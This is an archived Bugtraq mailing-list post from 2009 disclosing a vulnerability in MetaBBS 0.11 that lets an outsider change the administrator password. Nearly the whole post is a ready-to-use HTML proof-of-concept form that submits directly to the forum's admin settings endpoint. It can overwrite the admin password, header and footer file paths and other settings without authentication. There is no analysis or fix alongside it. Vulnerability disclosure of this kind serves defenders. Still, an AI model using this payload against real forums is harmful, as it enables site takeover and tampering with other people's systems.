bugtraq - metabbs 0.11 Change admin password vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: Sun, 1 Feb 2009 21:27:44 -0700
From: make0day@...il.com
To: bugtraq@...urityfocus.com
Subject: metabbs 0.11 Change admin password vulnerability

Metabbs 0.11
2008-08-06 19:56


<form method="post" action="http://test.com/metabbs/admin/settings/?">
<dl>
	<dt><label for="settings_admin_password">Admin password</label></dt>
	<dd><input id="settings_admin_password" size="20" name="settings[admin_password]" value="" type="password" /></dd>
	
	<dt><label for="settings_global_header">Header file</label></dt>
	<dd><input id="settings_global_header" size="30" name="settings[global_header]" value="" type="text" /></dd>

	<dt><label for="settings_global_footer">Footer File</label></dt>
	<dd><input id="settings_global_footer" size="30" name="settings[global_footer]" value="" type="text" /></dd>

	<dt><label for="settings_theme">Site theme</label></dt>
	<dd><input id="settings_theme" size="30" name="settings[theme]" value="" type="text" /></dd>

	<dt><label for="settings_default_language">Language</label></dt>
	<dd>
		<dd><input id="ettings_default_language" size="30" name="settings[default_language]" value="" type="text" /></dd>
		<input name="settings[always_use_default_language]" value="0" type="hidden" /><input id="settings_always_use_default_language" name="settings[always_use_default_language]" value="1" type="checkbox" />		
	<label for="settings_always_use_default_language">Always Use Default Language</label>	</dd>

	<dt><label for="settings_timezone">TimeZone</label></dt>
	<dd>
		<dd><input id="settings_timezone" size="30" name="settings[timezone]" value="" type="text" /></dd>
</dl>

<h2>Advanced Setting</h2>
<p><input name="settings[force_fancy_url]" value="0" type="hidden" />
<input id="settings_force_fancy_url" name="settings[force_fancy_url]" value="1" type="checkbox" /> 
<label for="settings_force_fancy_url">Fancy URL Force Apply</label></p>

<p><input type="submit" value="OK" /></p>
</form>